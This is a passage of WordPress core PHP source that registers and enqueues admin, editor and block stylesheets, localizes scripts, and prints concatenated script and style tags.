	$styles->add( 'install', "/wp-admin/css/install$suffix.css", array( 'dashicons', 'buttons', 'forms', 'l10n' ) );
	$styles->add( 'wp-color-picker', "/wp-admin/css/color-picker$suffix.css" );
	$styles->add( 'customize-controls', "/wp-admin/css/customize-controls$suffix.css", array( 'wp-admin', 'colors', 'imgareaselect' ) );
	$styles->add( 'customize-widgets', "/wp-admin/css/customize-widgets$suffix.css", array( 'wp-admin', 'colors' ) );
	$styles->add( 'customize-nav-menus', "/wp-admin/css/customize-nav-menus$suffix.css", array( 'wp-admin', 'colors' ) );

	// Common dependencies.
	$styles->add( 'buttons', "/wp-includes/css/buttons$suffix.css" );
	$styles->add( 'dashicons', "/wp-includes/css/dashicons$suffix.css" );

	// Includes CSS.
	$styles->add( 'admin-bar', "/wp-includes/css/admin-bar$suffix.css", array( 'dashicons' ) );
	$styles->add( 'wp-auth-check', "/wp-includes/css/wp-auth-check$suffix.css", array( 'dashicons' ) );
	$styles->add( 'editor-buttons', "/wp-includes/css/editor$suffix.css", array( 'dashicons' ) );
	$styles->add( 'media-views', "/wp-includes/css/media-views$suffix.css", array( 'buttons', 'dashicons', 'wp-mediaelement' ) );
	$styles->add( 'wp-pointer', "/wp-includes/css/wp-pointer$suffix.css", array( 'dashicons' ) );
	$styles->add( 'customize-preview', "/wp-includes/css/customize-preview$suffix.css", array( 'dashicons' ) );
	$styles->add( 'wp-embed-template-ie', "/wp-includes/css/wp-embed-template-ie$suffix.css" );
	$styles->add_data( 'wp-embed-template-ie', 'conditional', 'lte IE 8' );

	// External libraries and friends.
	$styles->add( 'imgareaselect', '/wp-includes/js/imgareaselect/imgareaselect.css', array(), '0.9.8' );
	$styles->add( 'wp-jquery-ui-dialog', "/wp-includes/css/jquery-ui-dialog$suffix.css", array( 'dashicons' ) );
	$styles->add( 'mediaelement', '/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css', array(), '4.2.17' );
	$styles->add( 'wp-mediaelement', "/wp-includes/js/mediaelement/wp-mediaelement$suffix.css", array( 'mediaelement' ) );
	$styles->add( 'thickbox', '/wp-includes/js/thickbox/thickbox.css', array( 'dashicons' ) );
	$styles->add( 'wp-codemirror', '/wp-includes/js/codemirror/codemirror.min.css', array(), '5.29.1-alpha-ee20357' );

	// Deprecated CSS.
	$styles->add( 'deprecated-media', "/wp-admin/css/deprecated-media$suffix.css" );
	$styles->add( 'farbtastic', "/wp-admin/css/farbtastic$suffix.css", array(), '1.3u1' );
	$styles->add( 'jcrop', '/wp-includes/js/jcrop/jquery.Jcrop.min.css', array(), '0.9.15' );
	$styles->add( 'colors-fresh', false, array( 'wp-admin', 'buttons' ) ); // Old handle.
	$styles->add( 'open-sans', $open_sans_font_url ); // No longer used in core as of 4.6.

	// Noto Serif is no longer used by core, but may be relied upon by themes and plugins.
	$fonts_url = '';

	/*
	 * translators: Use this to specify the proper Google Font name and variants
	 * to load that is supported by your language. Do not translate.
	 * Set to 'off' to disable loading.
	 */
	$font_family = _x( 'Noto Serif:400,400i,700,700i', 'Google Font Name and Variants' );
	if ( 'off' !== $font_family ) {
		$fonts_url = 'https://fonts.googleapis.com/css?family=' . urlencode( $font_family );
	}
	$styles->add( 'wp-editor-font', $fonts_url ); // No longer used in core as of 5.7.
	$block_library_theme_path = WPINC . "/css/dist/block-library/theme$suffix.css";
	$styles->add( 'wp-block-library-theme', "/$block_library_theme_path" );
	$styles->add_data( 'wp-block-library-theme', 'path', ABSPATH . $block_library_theme_path );

	$styles->add(
		'wp-reset-editor-styles',
		"/wp-includes/css/dist/block-library/reset$suffix.css",
		array( 'common', 'forms' ) // Make sure the reset is loaded after the default WP Admin styles.
	);

	$styles->add(
		'wp-editor-classic-layout-styles',
		"/wp-includes/css/dist/edit-post/classic$suffix.css",
		array()
	);

	$styles->add(
		'wp-block-editor-content',
		"/wp-includes/css/dist/block-editor/content$suffix.css",
		array( 'wp-components' )
	);

	$wp_edit_blocks_dependencies = array(
		'wp-components',
		'wp-editor',
		/*
		 * This needs to be added before the block library styles,
		 * The block library styles override the "reset" styles.
		 */
		'wp-reset-editor-styles',
		'wp-block-library',
		'wp-reusable-blocks',
		'wp-block-editor-content',
		'wp-patterns',
	);

	// Only load the default layout and margin styles for themes without theme.json file.
	if ( ! wp_theme_has_theme_json() ) {
		$wp_edit_blocks_dependencies[] = 'wp-editor-classic-layout-styles';
	}

	if (
		current_theme_supports( 'wp-block-styles' ) &&
		( ! is_array( $editor_styles ) || count( $editor_styles ) === 0 )
	) {
		/*
		 * Include opinionated block styles if the theme supports block styles and
		 * no $editor_styles are declared, so the editor never appears broken.
		 */
		$wp_edit_blocks_dependencies[] = 'wp-block-library-theme';
	}

	$styles->add(
		'wp-edit-blocks',
		"/wp-includes/css/dist/block-library/editor$suffix.css",
		$wp_edit_blocks_dependencies
	);

	$package_styles = array(
		'block-editor'         => array( 'wp-components', 'wp-preferences' ),
		'block-library'        => array(),
		'block-directory'      => array(),
		'components'           => array(),
		'commands'             => array(),
		'edit-post'            => array(
			'wp-components',
			'wp-block-editor',
			'wp-editor',
			'wp-edit-blocks',
			'wp-block-library',
			'wp-commands',
			'wp-preferences',
		),
		'editor'               => array(
			'wp-components',
			'wp-block-editor',
			'wp-reusable-blocks',
			'wp-patterns',
			'wp-preferences',
		),
		'format-library'       => array(),
		'list-reusable-blocks' => array( 'wp-components' ),
		'reusable-blocks'      => array( 'wp-components' ),
		'patterns'             => array( 'wp-components' ),
		'preferences'          => array( 'wp-components' ),
		'nux'                  => array( 'wp-components' ),
		'widgets'              => array(
			'wp-components',
		),
		'edit-widgets'         => array(
			'wp-widgets',
			'wp-block-editor',
			'wp-edit-blocks',
			'wp-block-library',
			'wp-reusable-blocks',
			'wp-patterns',
			'wp-preferences',
		),
		'customize-widgets'    => array(
			'wp-widgets',
			'wp-block-editor',
			'wp-edit-blocks',
			'wp-block-library',
			'wp-reusable-blocks',
			'wp-patterns',
			'wp-preferences',
		),
		'edit-site'            => array(
			'wp-components',
			'wp-block-editor',
			'wp-edit-blocks',
			'wp-commands',
			'wp-preferences',
		),
	);

	foreach ( $package_styles as $package => $dependencies ) {
		$handle = 'wp-' . $package;
		$path   = "/wp-includes/css/dist/$package/style$suffix.css";

		if ( 'block-library' === $package && wp_should_load_separate_core_block_assets() ) {
			$path = "/wp-includes/css/dist/$package/common$suffix.css";
		}
		$styles->add( $handle, $path, $dependencies );
		$styles->add_data( $handle, 'path', ABSPATH . $path );
	}

	// RTL CSS.
	$rtl_styles = array(
		// Admin CSS.
		'common',
		'forms',
		'admin-menu',
		'dashboard',
		'list-tables',
		'edit',
		'revisions',
		'media',
		'themes',
		'about',
		'nav-menus',
		'widgets',
		'site-icon',
		'l10n',
		'install',
		'wp-color-picker',
		'customize-controls',
		'customize-widgets',
		'customize-nav-menus',
		'customize-preview',
		'login',
		'site-health',
		// Includes CSS.
		'buttons',
		'admin-bar',
		'wp-auth-check',
		'editor-buttons',
		'media-views',
		'wp-pointer',
		'wp-jquery-ui-dialog',
		// Package styles.
		'wp-reset-editor-styles',
		'wp-editor-classic-layout-styles',
		'wp-block-library-theme',
		'wp-edit-blocks',
		'wp-block-editor',
		'wp-block-library',
		'wp-block-directory',
		'wp-commands',
		'wp-components',
		'wp-customize-widgets',
		'wp-edit-post',
		'wp-edit-site',
		'wp-edit-widgets',
		'wp-editor',
		'wp-format-library',
		'wp-list-reusable-blocks',
		'wp-reusable-blocks',
		'wp-patterns',
		'wp-nux',
		'wp-widgets',
		// Deprecated CSS.
		'deprecated-media',
		'farbtastic',
	);

	foreach ( $rtl_styles as $rtl_style ) {
		$styles->add_data( $rtl_style, 'rtl', 'replace' );
		if ( $suffix ) {
			$styles->add_data( $rtl_style, 'suffix', $suffix );
		}
	}
}

/**
 * Reorders JavaScript scripts array to place prototype before jQuery.
 *
 * @since 2.3.1
 *
 * @param string[] $js_array JavaScript scripts array
 * @return string[] Reordered array, if needed.
 */
function wp_prototype_before_jquery( $js_array ) {
	$prototype = array_search( 'prototype', $js_array, true );

	if ( false === $prototype ) {
		return $js_array;
	}

	$jquery = array_search( 'jquery', $js_array, true );

	if ( false === $jquery ) {
		return $js_array;
	}

	if ( $prototype < $jquery ) {
		return $js_array;
	}

	unset( $js_array[ $prototype ] );

	array_splice( $js_array, $jquery, 0, 'prototype' );

	return $js_array;
}

/**
 * Loads localized data on print rather than initialization.
 *
 * These localizations require information that may not be loaded even by init.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags
 */
function wp_just_in_time_script_localization() {

	wp_localize_script(
		'autosave',
		'autosaveL10n',
		array(
			'autosaveInterval' => AUTOSAVE_INTERVAL,
			'blog_id'          => get_current_blog_id(),
		)
	);

	wp_localize_script(
		'mce-view',
		'mceViewL10n',
		array(
			'shortcodes' => ! empty( $GLOBALS['shortcode_tags'] ) ? array_keys( $GLOBALS['shortcode_tags'] ) : array(),
		)
	);

	wp_localize_script(
		'word-count',
		'wordCountL10n',
		array(
			'type'       => wp_get_word_count_type(),
			'shortcodes' => ! empty( $GLOBALS['shortcode_tags'] ) ? array_keys( $GLOBALS['shortcode_tags'] ) : array(),
		)
	);
}

/**
 * Localizes the jQuery UI datepicker.
 *
 * @since 4.6.0
 *
 * @link https://api.jqueryui.com/datepicker/#options
 *
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 */
function wp_localize_jquery_ui_datepicker() {
	global $wp_locale;

	if ( ! wp_script_is( 'jquery-ui-datepicker', 'enqueued' ) ) {
		return;
	}

	// Convert the PHP date format into jQuery UI's format.
	$datepicker_date_format = str_replace(
		array(
			'd',
			'j',
			'l',
			'z', // Day.
			'F',
			'M',
			'n',
			'm', // Month.
			'Y',
			'y', // Year.
		),
		array(
			'dd',
			'd',
			'DD',
			'o',
			'MM',
			'M',
			'm',
			'mm',
			'yy',
			'y',
		),
		get_option( 'date_format' )
	);

	$datepicker_defaults = wp_json_encode(
		array(
			'closeText'       => __( 'Close' ),
			'currentText'     => __( 'Today' ),
			'monthNames'      => array_values( $wp_locale->month ),
			'monthNamesShort' => array_values( $wp_locale->month_abbrev ),
			'nextText'        => __( 'Next' ),
			'prevText'        => __( 'Previous' ),
			'dayNames'        => array_values( $wp_locale->weekday ),
			'dayNamesShort'   => array_values( $wp_locale->weekday_abbrev ),
			'dayNamesMin'     => array_values( $wp_locale->weekday_initial ),
			'dateFormat'      => $datepicker_date_format,
			'firstDay'        => absint( get_option( 'start_of_week' ) ),
			'isRTL'           => $wp_locale->is_rtl(),
		)
	);

	wp_add_inline_script( 'jquery-ui-datepicker', "jQuery(function(jQuery){jQuery.datepicker.setDefaults({$datepicker_defaults});});" );
}

/**
 * Localizes community events data that needs to be passed to dashboard.js.
 *
 * @since 4.8.0
 */
function wp_localize_community_events() {
	if ( ! wp_script_is( 'dashboard' ) ) {
		return;
	}

	require_once ABSPATH . 'wp-admin/includes/class-wp-community-events.php';

	$user_id            = get_current_user_id();
	$saved_location     = get_user_option( 'community-events-location', $user_id );
	$saved_ip_address   = isset( $saved_location['ip'] ) ? $saved_location['ip'] : false;
	$current_ip_address = WP_Community_Events::get_unsafe_client_ip();

	/*
	 * If the user's location is based on their IP address, then update their
	 * location when their IP address changes. This allows them to see events
	 * in their current city when travelling. Otherwise, they would always be
	 * shown events in the city where they were when they first loaded the
	 * Dashboard, which could have been months or years ago.
	 */
	if ( $saved_ip_address && $current_ip_address && $current_ip_address !== $saved_ip_address ) {
		$saved_location['ip'] = $current_ip_address;
		update_user_meta( $user_id, 'community-events-location', $saved_location );
	}

	$events_client = new WP_Community_Events( $user_id, $saved_location );

	wp_localize_script(
		'dashboard',
		'communityEventsData',
		array(
			'nonce'       => wp_create_nonce( 'community_events' ),
			'cache'       => $events_client->get_cached_events(),
			'time_format' => get_option( 'time_format' ),
		)
	);
}

/**
 * Administration Screen CSS for changing the styles.
 *
 * If installing the 'wp-admin/' directory will be replaced with './'.
 *
 * The $_wp_admin_css_colors global manages the Administration Screens CSS
 * stylesheet that is loaded. The option that is set is 'admin_color' and is the
 * color and key for the array. The value for the color key is an object with
 * a 'url' parameter that has the URL path to the CSS file.
 *
 * The query from $src parameter will be appended to the URL that is given from
 * the $_wp_admin_css_colors array value URL.
 *
 * @since 2.6.0
 *
 * @global array $_wp_admin_css_colors
 *
 * @param string $src    Source URL.
 * @param string $handle Either 'colors' or 'colors-rtl'.
 * @return string|false URL path to CSS stylesheet for Administration Screens.
 */
function wp_style_loader_src( $src, $handle ) {
	global $_wp_admin_css_colors;

	if ( wp_installing() ) {
		return preg_replace( '#^wp-admin/#', './', $src );
	}

	if ( 'colors' === $handle ) {
		$color = get_user_option( 'admin_color' );

		if ( empty( $color ) || ! isset( $_wp_admin_css_colors[ $color ] ) ) {
			$color = 'fresh';
		}

		$color = $_wp_admin_css_colors[ $color ];
		$url   = $color->url;

		if ( ! $url ) {
			return false;
		}

		$parsed = parse_url( $src );
		if ( isset( $parsed['query'] ) && $parsed['query'] ) {
			wp_parse_str( $parsed['query'], $qv );
			$url = add_query_arg( $qv, $url );
		}

		return $url;
	}

	return $src;
}

/**
 * Prints the script queue in the HTML head on admin pages.
 *
 * Postpones the scripts that were queued for the footer.
 * print_footer_scripts() is called in the footer to print these scripts.
 *
 * @since 2.8.0
 *
 * @see wp_print_scripts()
 *
 * @global bool $concatenate_scripts
 *
 * @return array
 */
function print_head_scripts() {
	global $concatenate_scripts;

	if ( ! did_action( 'wp_print_scripts' ) ) {
		/** This action is documented in wp-includes/functions.wp-scripts.php */
		do_action( 'wp_print_scripts' );
	}

	$wp_scripts = wp_scripts();

	script_concat_settings();
	$wp_scripts->do_concat = $concatenate_scripts;
	$wp_scripts->do_head_items();

	/**
	 * Filters whether to print the head scripts.
	 *
	 * @since 2.8.0
	 *
	 * @param bool $print Whether to print the head scripts. Default true.
	 */
	if ( apply_filters( 'print_head_scripts', true ) ) {
		_print_scripts();
	}

	$wp_scripts->reset();
	return $wp_scripts->done;
}

/**
 * Prints the scripts that were queued for the footer or too late for the HTML head.
 *
 * @since 2.8.0
 *
 * @global WP_Scripts $wp_scripts
 * @global bool       $concatenate_scripts
 *
 * @return array
 */
function print_footer_scripts() {
	global $wp_scripts, $concatenate_scripts;

	if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
		return array(); // No need to run if not instantiated.
	}
	script_concat_settings();
	$wp_scripts->do_concat = $concatenate_scripts;
	$wp_scripts->do_footer_items();

	/**
	 * Filters whether to print the footer scripts.
	 *
	 * @since 2.8.0
	 *
	 * @param bool $print Whether to print the footer scripts. Default true.
	 */
	if ( apply_filters( 'print_footer_scripts', true ) ) {
		_print_scripts();
	}

	$wp_scripts->reset();
	return $wp_scripts->done;
}

/**
 * Prints scripts (internal use only)
 *
 * @ignore
 *
 * @global WP_Scripts $wp_scripts
 * @global bool       $compress_scripts
 */
function _print_scripts() {
	global $wp_scripts, $compress_scripts;

	$zip = $compress_scripts ? 1 : 0;
	if ( $zip && defined( 'ENFORCE_GZIP' ) && ENFORCE_GZIP ) {
		$zip = 'gzip';
	}

	$concat    = trim( $wp_scripts->concat, ', ' );
	$type_attr = current_theme_supports( 'html5', 'script' ) ? '' : " type='text/javascript'";

	if ( $concat ) {
		if ( ! empty( $wp_scripts->print_code ) ) {
			echo "\n<script{$type_attr}>\n";
			echo "/* <![CDATA[ */\n"; // Not needed in HTML 5.
			echo $wp_scripts->print_code;
			echo "/* ]]> */\n";
			echo "</script>\n";
		}

		$concat       = str_split( $concat, 128 );
		$concatenated = '';

		foreach ( $concat as $key => $chunk ) {
			$concatenated .= "&load%5Bchunk_{$key}%5D={$chunk}";
		}

		$src = $wp_scripts->base_url . "/wp-admin/load-scripts.php?c={$zip}" . $concatenated . '&ver=' . $wp_scripts->default_version;
		echo "<script{$type_attr} src='" . esc_attr( $src ) . "'></script>\n";
	}

	if ( ! empty( $wp_scripts->print_html ) ) {
		echo $wp_scripts->print_html;
	}
}

/**
 * Prints the script queue in the HTML head on the front end.
 *
 * Postpones the scripts that were queued for the footer.
 * wp_print_footer_scripts() is called in the footer to print these scripts.
 *
 * @since 2.8.0
 *
 * @global WP_Scripts $wp_scripts
 *
 * @return array
 */
function wp_print_head_scripts() {
	global $wp_scripts;

	if ( ! did_action( 'wp_print_scripts' ) ) {
		/** This action is documented in wp-includes/functions.wp-scripts.php */
		do_action( 'wp_print_scripts' );
	}

	if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
		return array(); // No need to run if nothing is queued.
	}

	return print_head_scripts();
}

/**
 * Private, for use in *_footer_scripts hooks
 *
 * @since 3.3.0
 */
function _wp_footer_scripts() {
	print_late_styles();
	print_footer_scripts();
}

/**
 * Hooks to print the scripts and styles in the footer.
 *
 * @since 2.8.0
 */
function wp_print_footer_scripts() {
	/**
	 * Fires when footer scripts are printed.
	 *
	 * @since 2.8.0
	 */
	do_action( 'wp_print_footer_scripts' );
}

/**
 * Wrapper for do_action( 'wp_enqueue_scripts' ).
 *
 * Allows plugins to queue scripts for the front end using wp_enqueue_script().
 * Runs first in wp_head() where all is_home(), is_page(), etc. functions are available.
 *
 * @since 2.8.0
 */
function wp_enqueue_scripts() {
	/**
	 * Fires when scripts and styles are enqueued.
	 *
	 * @since 2.8.0
	 */
	do_action( 'wp_enqueue_scripts' );
}

/**
 * Prints the styles queue in the HTML head on admin pages.
 *
 * @since 2.8.0
 *
 * @global bool $concatenate_scripts
 *
 * @return array
 */
function print_admin_styles() {
	global $concatenate_scripts;

	$wp_styles = wp_styles();

	script_concat_settings();
	$wp_styles->do_concat = $concatenate_scripts;
	$wp_styles->do_items( false );

	/**
	 * Filters whether to print the admin styles.
	 *
	 * @since 2.8.0
	 *
	 * @param bool $print Whether to print the admin styles. Default true.
	 */
	if ( apply_filters( 'print_admin_styles', true ) ) {
		_print_styles();
	}

	$wp_styles->reset();
	return $wp_styles->done;
}

/**
 * Prints the styles that were queued too late for the HTML head.
 *
 * @since 3.3.0
 *
 * @global WP_Styles $wp_styles
 * @global bool      $concatenate_scripts
 *
 * @return array|void
 */
function print_late_styles() {
	global $wp_styles, $concatenate_scripts;

	if ( ! ( $wp_styles instanceof WP_Styles ) ) {
		return;
	}

	script_concat_settings();
	$wp_styles->do_concat = $concatenate_scripts;
	$wp_styles->do_footer_items();

	/**
	 * Filters whether to print the styles queued too late for the HTML head.
	 *
	 * @since 3.3.0
	 *
	 * @param bool $print Whether to print the 'late' styles. Default true.
	 */
	if ( apply_filters( 'print_late_styles', true ) ) {
		_print_styles();
	}

	$wp_styles->reset();
	return $wp_styles->done;
}

/**
 * Prints styles (internal use only).
 *
 * @ignore
 * @since 3.3.0
 *
 * @global bool $compress_css
 */
function _print_styles() {
	global $compress_css;

	$wp_styles = wp_styles();

	$zip = $compress_css ? 1 : 0;
	if ( $zip && defined( 'ENFORCE_GZIP' ) && ENFORCE_GZIP ) {
		$zip = 'gzip';
	}

	$concat    = trim( $wp_styles->concat, ', ' );
	$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';

	if ( $concat ) {
		$dir = $wp_styles->text_direction;
		$ver = $wp_styles->default_version;

		$concat       = str_split( $concat, 128 );
		$concatenated = '';

		foreach ( $concat as $key => $chunk ) {
			$concatenated .= "&load%5Bchunk_{$key}%5D={$chunk}";
		}

		$href = $wp_styles->base_url . "/wp-admin/load-styles.php?c={$zip}&dir={$dir}" . $concatenated . '&ver=' . $ver;
		echo "<link rel='stylesheet' href='" . esc_attr( $href ) . "'{$type_attr} media='all' />\n";

		if ( ! empty( $wp_styles->print_code ) ) {
			echo "<style{$type_attr}>\n";
			echo $wp_styles->print_code;
			echo "\n</style>\n";
		}
	}

	if ( ! empty( $wp_styles->print_html ) ) {
		echo $wp_styles->print_html;
	}
}

/**
 * Determines the concatenation and compression settings for scripts and styles.
 *
 * @since 2.8.0
 *
 * @global bool $concatenate_scripts
 * @global bool $compress_scripts
 * @global bool $compress_css
 */
function script_concat_settings() {
	global $concatenate_scripts, $compress_scripts, $compress_css;

	$compressed_output = ( ini_get( 'zlib.output_compression' ) || 'ob_gzhandler' === ini_get( 'output_handler' ) );

	$can_compress_scripts = ! wp_installing() && get_site_option( 'can_compress_scripts' );

	if ( ! isset( $concatenate_scripts ) ) {
		$concatenate_scripts = defined( 'CONCATENATE_SCRIPTS' ) ? CONCATENATE_SCRIPTS : true;
		if ( ( ! is_admin() && ! did_action( 'login_init' ) ) || ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ) {
			$concatenate_scripts = false;
		}
	}

	if ( ! isset( $compress_scripts ) ) {
		$compress_scripts = defined( 'COMPRESS_SCRIPTS' ) ? COMPRESS_SCRIPTS : true;
		if ( $compress_scripts && ( ! $can_compress_scripts || $compressed_output ) ) {
			$compress_scripts = false;
		}
	}

	if ( ! isset( $compress_css ) ) {
		$compress_css = defined( 'COMPRESS_CSS' ) ? COMPRESS_CSS : true;
		if ( $compress_css && ( ! $can_compress_scripts || $compressed_output ) ) {
			$compress_css = false;
		}
	}
}

/**
 * Handles the enqueueing of block scripts and styles that are common to both
 * the editor and the front-end.
 *
 * @since 5.0.0
 */
function wp_common_block_scripts_and_styles() {
	if ( is_admin() && ! wp_should_load_block_editor_scripts_and_styles() ) {
		return;
	}

	wp_enqueue_style( 'wp-block-library' );

	if ( current_theme_supports( 'wp-block-styles' ) && ! wp_should_load_separate_core_block_assets() ) {
		wp_enqueue_style( 'wp-block-library-theme' );
	}

	/**
	 * Fires after enqueuing block assets for both editor and front-end.
	 *
	 * Call `add_action` on any hook before 'wp_enqueue_scripts'.
	 *
	 * In the function call you supply, simply use `wp_enqueue_script` and
	 * `wp_enqueue_style` to add your functionality to the Gutenberg editor.
	 *
	 * @since 5.0.0
	 */
	do_action( 'enqueue_block_assets' );
}

/**
 * Applies a filter to the list of style nodes that comes from WP_Theme_JSON::get_style_nodes().
 *
 * This particular filter removes all of the blocks from the array.
 *
 * We want WP_Theme_JSON to be ignorant of the implementation details of how the CSS is being used.
 * This filter allows us to modify the output of WP_Theme_JSON depending on whether or not we are
 * loading separate assets, without making the class aware of that detail.
 *
 * @since 6.1.0
 *
 * @param array $nodes The nodes to filter.
 * @return array A filtered array of style nodes.
 */
function wp_filter_out_block_nodes( $nodes ) {
	return array_filter(
		$nodes,
		static function ( $node ) {
			return ! in_array( 'blocks', $node['path'], true );
		},
		ARRAY_FILTER_USE_BOTH
	);
}

/**
 * Enqueues the global styles defined via theme.json.
 *
 * @since 5.8.0
 */
function wp_enqueue_global_styles() {
	$separate_assets  = wp_should_load_separate_core_block_assets();
	$is_block_theme   = wp_is_block_theme();
	$is_classic_theme = ! $is_block_theme;

	/*
	 * Global styles should be printed in the head when loading all styles combined.
	 * The footer should only be used to print global styles for classic themes with separate core assets enabled.
	 *
	 * See https://core.trac.wordpress.org/ticket/53494.
	 */
	if (
		( $is_block_theme && doing_action( 'wp_footer' ) ) ||
		( $is_classic_theme && doing_action( 'wp_footer' ) && ! $separate_assets ) ||
		( $is_classic_theme && doing_action( 'wp_enqueue_scripts' ) && $separate_assets )
	) {
		return;
	}

	/*
	 * If loading the CSS for each block separately, then load the theme.json CSS conditionally.
	 * This removes the CSS from the global-styles stylesheet and adds it to the inline CSS for each block.
	 * This filter must be registered before calling wp_get_global_stylesheet();
	 */
	add_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' );

	$stylesheet = wp_get_global_stylesheet();

	if ( empty( $stylesheet ) ) {
		return;
	}

	wp_register_style( 'global-styles', false );
	wp_add_inline_style( 'global-styles', $stylesheet );
	wp_enqueue_style( 'global-styles' );

	// Add each block as an inline css.
	wp_add_global_styles_for_blocks();
}

/**
 * Enqueues the global styles custom css defined via theme.json.
 *
 * @since 6.2.0
 */
function wp_enqueue_global_styles_custom_css() {
	if ( ! wp_is_block_theme() ) {
		return;
	}

	// Don't enqueue Customizer's custom CSS separately.
	remove_action( 'wp_head', 'wp_custom_css_cb', 101 );

	$custom_css  = wp_get_custom_css();
	$custom_css .= wp_get_global_styles_custom_css();

	if ( ! empty( $custom_css ) ) {
		wp_add_inline_style( 'global-styles', $custom_css );
	}
}

/**
 * Checks if the editor scripts and styles for all registered block types
 * should be enqueued on the current screen.
 *
 * @since 5.6.0
 *
 * @global WP_Screen $current_screen WordPress current screen object.
 *
 * @return bool Whether scripts and styles should be enqueued.
 */
function wp_should_load_block_editor_scripts_and_styles() {
	global $current_screen;

	$is_block_editor_screen = ( $current_screen instanceof WP_Screen ) && $current_screen->is_block_editor();

	/**
	 * Filters the flag that decides whether or not block editor scripts and styles
	 * are going to be enqueued on the current screen.
	 *
	 * @since 5.6.0
	 *
	 * @param bool $is_block_editor_screen Current value of the flag.
	 */
	return apply_filters( 'should_load_block_editor_scripts_and_styles', $is_block_editor_screen );
}

/**
 * Checks whether separate styles should be loaded for core blocks on-render.
 *
 * When this function returns true, other functions ensure that core blocks
 * only load their assets on-render, and each block loads its own, individual
 * assets. Third-party blocks only load their assets when rendered.
 *
 * When this function returns false, all core block assets are loaded regardless
 * of whether they are rendered in a page or not, because they are all part of
 * the `block-library/style.css` file. Assets for third-party blocks are always
 * enqueued regardless of whether they are rendered or not.
 *
 * This only affects front end and not the block editor screens.
 *
 * @see wp_enqueue_registered_block_scripts_and_styles()
 * @see register_block_style_handle()
 *
 * @since 5.8.0
 *
 * @return bool Whether separate assets will be loaded.
 */
function wp_should_load_separate_core_block_assets() {
	if ( is_admin() || is_feed() || wp_is_rest_endpoint() ) {
		return false;
	}

	/**
	 * Filters whether block styles should be loaded separately.
	 *
	 * Returning false loads all core block assets, regardless of whether they are rendered
	 * in a page or not. Returning true loads core block assets only when they are rendered.
	 *
	 * @since 5.8.0
	 *
	 * @param bool $load_separate_assets Whether separate assets will be loaded.
	 *                                   Default false (all block assets are loaded, even when not used).
	 */
	return apply_filters( 'should_load_separate_core_block_assets', false );
}

/**
 * Enqueues registered block scripts and styles, depending on current rendered
 * context (only enqueuing editor scripts while in context of the editor).
 *
 * @since 5.0.0
 *
 * @global WP_Screen $current_screen WordPress current screen object.
 */
function wp_enqueue_registered_block_scripts_and_styles() {
	global $current_screen;

	if ( wp_should_load_separate_core_block_assets() ) {
		return;
	}

	$load_editor_scripts_and_styles = is_admin() && wp_should_load_block_editor_scripts_and_styles();

	$block_registry = WP_Block_Type_Registry::get_instance();
	foreach ( $block_registry->get_all_registered() as $block_name => $block_type ) {
		// Front-end and editor styles.
		foreach ( $block_type->style_handles as $style_handle ) {
			wp_enqueue_style( $style_handle );
		}

		// Front-end and editor scripts.
		foreach ( $block_type->script_handles as $script_handle ) {
			wp_enqueue_script( $script_handle );
		}

		if ( $load_editor_scripts_and_styles ) {
			// Editor styles.
			foreach ( $block_type->editor_style_handles as $editor_style_handle ) {
				wp_enqueue_style( $editor_style_handle );
			}

			// Editor scripts.
			foreach ( $block_type->editor_script_handles as $editor_script_handle ) {
				wp_enqueue_script( $editor_script_handle );
			}
		}
	}
}

/**
 * Function responsible for enqueuing the styles required for block styles functionality on the editor and on the frontend.
 *
 * @since 5.3.0
 *
 * @global WP_Styles $wp_styles
 */
function enqueue_block_styles_assets() {
	global $wp_styles;

	$block_styles = WP_Block_Styles_Registry::get_instance()->get_all_registered();

	foreach ( $block_styles as $block_name => $styles ) {
		foreach ( $styles as $style_properties ) {
			if ( isset( $style_properties['style_handle'] ) ) {

				// If the site loads separate styles per-block, enqueue the stylesheet on render.
				if ( wp_should_load_separate_core_block_assets() ) {
					add_filter(
						'render_block',
						static function ( $html, $block ) use ( $block_name, $style_properties ) {
							if ( $block['blockName'] === $block_name ) {
								wp_enqueue_style( $style_properties['style_handle'] );
							}
							return $html;
						},
						10,
						2
					);
				} else {
					wp_enqueue_style( $style_properties['style_handle'] );
				}
			}
			if ( isset( $style_properties['inline_style'] ) ) {

				// Default to "wp-block-library".
				$handle = 'wp-block-library';

				// If the site loads separate styles per-block, check if the block has a stylesheet registered.
				if ( wp_should_load_separate_core_block_assets() ) {
					$block_stylesheet_handle = generate_block_asset_handle( $block_name, 'style' );

					if ( isset( $wp_styles->registered[ $block_stylesheet_handle ] ) ) {
						$handle = $block_stylesheet_handle;
					}
				}

				// Add inline styles to the calculated handle.
				wp_add_inline_style( $handle, $style_properties['inline_style'] );
			}
		}
	}
}

/**
 * Function responsible for enqueuing the assets required for block styles functionality on the editor.
 *
 * @since 5.3.0
 */
function enqueue_editor_block_styles_assets() {
	$block_styles = WP_Block_Styles_Registry::get_instance()->get_all_registered();

	$register_script_lines = array( '( function() {' );
	foreach ( $block_styles as $block_name => $styles ) {
		foreach ( $styles as $style_properties ) {
			$block_style = array(
				'name'  => $style_properties['name'],
				'label' => $style_properties['label'],
			);
			if ( isset( $style_properties['is_default'] ) ) {
				$block_style['isDefault'] = $style_properties['is_default'];
			}
			$register_script_lines[] = sprintf(
				'	wp.blocks.registerBlockStyle( \'%s\', %s );',
				$block_name,
				wp_json_encode( $block_style )
			);
		}
	}
	$register_script_lines[] = '} )();';
	$inline_script           = implode( "\n", $register_script_lines );

	wp_register_script( 'wp-block-styles', false, array( 'wp-blocks' ), true, array( 'in_footer' => true ) );
	wp_add_inline_script( 'wp-block-styles', $inline_script );
	wp_enqueue_script( 'wp-block-styles' );
}

/**
 * Enqueues the assets required for the block directory within the block editor.
 *
 * @since 5.5.0
 */
function wp_enqueue_editor_block_directory_assets() {
	wp_enqueue_script( 'wp-block-directory' );
	wp_enqueue_style( 'wp-block-directory' );
}

/**
 * Enqueues the assets required for the format library within the block editor.
 *
 * @since 5.8.0
 */
function wp_enqueue_editor_format_library_assets() {
	wp_enqueue_script( 'wp-format-library' );
	wp_enqueue_style( 'wp-format-library' );
}

/**
